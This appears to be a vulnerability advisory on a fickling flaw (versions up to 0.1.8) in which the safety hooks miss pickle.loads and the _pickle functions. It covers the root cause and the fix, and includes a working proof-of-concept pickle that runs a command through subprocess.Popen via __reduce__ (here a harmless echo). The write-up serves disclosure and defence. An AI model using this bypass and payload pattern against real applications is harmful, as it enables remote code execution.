Mar 4, 2026·5 min read·3 visits
Fickling versions <= 0.1.8 fail to protect `pickle.loads` and `_pickle` functions from malicious deserialization. Attackers can bypass safety checks by using these unhooked entry points. Fixed in version 0.1.9.
A critical vulnerability exists in the `fickling` library's safety mechanism where the `always_check_safety()` function fails to intercept all standard pickle deserialization paths. Specifically, the library neglected to hook `pickle.loads`, `_pickle.load`, and `_pickle.loads`, allowing malicious pickle payloads to bypass analysis and execute arbitrary code even when safety controls are explicitly enabled.
The fickling library provides a mechanism to analyze and safely load Python pickle data, which is notoriously insecure by default. The library offers a global safety toggle, fickling.always_check_safety(), which is intended to monkey-patch the standard pickle module to intercept all deserialization attempts. This ensures that any call to pickle.load within the running process is first routed through Fickling's static analyzer to detect malicious opcodes before execution.
However, in versions prior to 0.1.9, this protection mechanism was incomplete. The implementation failed to hook the loads function (used for deserializing byte strings) and the C-optimized _pickle module functions. Consequently, this creates a "Protection Mechanism Failure" (CWE-693). Applications relying on fickling for defense-in-depth are left exposed if they use pickle.loads or if internal Python mechanisms rely on the C implementation directly, negating the library's security promises.
The root cause lies in the specific implementation of the monkey-patching logic within fickling/hook.py. The run_hook() function is responsible for replacing standard library functions with Fickling's safe wrappers. In affected versions, this function only targeted pickle.load (file-like object deserialization) and the Unpickler classes.
It critically missed three major entry points:
pickle.loads: The standard function for deserializing bytes objects directly from memory, which is a common pattern in network applications and caching layers._pickle.load: The C-accelerated version of the file loader._pickle.loads: The C-accelerated version of the bytes loader.Python's pickle module often delegates to _pickle for performance. By failing to hook the underlying C module and the loads variant, the safety check is effectively bypassed whenever these functions are invoked directly or indirectly.
The remediation required extending the hooks to cover all entry points while managing a recursion hazard. If pickle.loads is hooked to call Fickling's analyzer, and the analyzer internally uses pickle.loads to process the data, an infinite recursion loop would occur. The fix involved two parts: caching the original function and applying the comprehensive hooks.
First, fickling/loader.py was updated to cache the real pickle.loads before any patching occurs. This ensures the internal loader can perform the final deserialization safely:
# fickling/loader.py
# Save the original pickle.loads before any hooks can replace it.
# loader.load() must use the real pickle.loads for final deserialization,
# otherwise hooking pickle.loads causes infinite recursion.
_original_pickle_loads = pickle.loadsSecond, fickling/hook.py was updated to intercept the previously missed functions:
# fickling/hook.py
def run_hook():
"""Replace pickle.load() and pickle.Unpickler by fickling's safe versions"""
# Hook functions
pickle.load = loader.load
# Added hooks for C-optimized and string-based loaders
_pickle.load = loader.load
pickle.loads = loader.loads
_pickle.loads = loader.loadsThis ensures that regardless of whether the application uses the pure Python or C-accelerated interfaces, the input is routed through Fickling's safety checks.
Exploitation involves supplying a malicious pickle payload to an application where fickling.always_check_safety() is active, but the application deserializes data using pickle.loads instead of pickle.load. The following Proof of Concept (PoC) demonstrates the bypass:
import io, pickle, _pickle
from unittest.mock import patch
import fickling
from fickling.exception import UnsafeFileError
class Payload:
def __reduce__(self):
import subprocess
# Standard RCE payload
return (subprocess.Popen, (['echo', 'PWNED'],))
data = pickle.dumps(Payload())
# Enable the safety hooks
fickling.always_check_safety()
# ATTACK: This path bypasses the hook in <= 0.1.8
# The payload executes because pickle.loads was not patched
print("Attempting bypass via pickle.loads...")
pickle.loads(data)
# CONTROL: This path is blocked correctly
# pickle.load was patched, so this raises UnsafeFileError
print("Attempting blocked path via pickle.load...")
try:
pickle.load(io.BytesIO(data))
except UnsafeFileError:
print("Blocked successfully.")In a vulnerable environment, the first call executes the echo command, proving that the safety check was completely circumvented.
The impact of this vulnerability is critical (CVSS 9.3). fickling is explicitly a security control library; its primary purpose is to prevent the execution of malicious pickles. By failing to cover standard usage patterns (pickle.loads), the library provides a false sense of security.
Attackers successfully exploiting this can achieve Remote Code Execution (RCE) on the target system with the privileges of the running process. Since pickle RCE allows for arbitrary Python execution, the compromise is typically total, allowing for data exfiltration, lateral movement, or denial of service.
The primary remediation is to upgrade fickling to version 0.1.9 or later. This version correctly hooks pickle.loads, _pickle.load, and _pickle.loads.
However, developers should be aware of the inherent limitations of monkey-patching in Python:
loads directly (e.g., from pickle import loads) before fickling.always_check_safety() is called, that module will retain a reference to the original, unsafe function.pandas or torch may use their own internal deserialization logic or C-extensions that bypass the standard pickle module entirely.Security teams should audit their codebase to ensure always_check_safety() is called as early as possible in the application lifecycle, ideally before other imports.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P| Product | Affected Versions | Fixed Version |
|---|---|---|
fickling trailofbits | <= 0.1.8 | 0.1.9 |
| Attribute | Detail |
|---|---|
| CWE | CWE-693 (Protection Mechanism Failure) |
| Attack Vector | Network (deserialization of untrusted data) |
| CVSS v4.0 | 9.3 (Critical) |
| Impact | Remote Code Execution (RCE) |
| Exploit Status | Proof of Concept Available |
| Fix Version | 0.1.9 |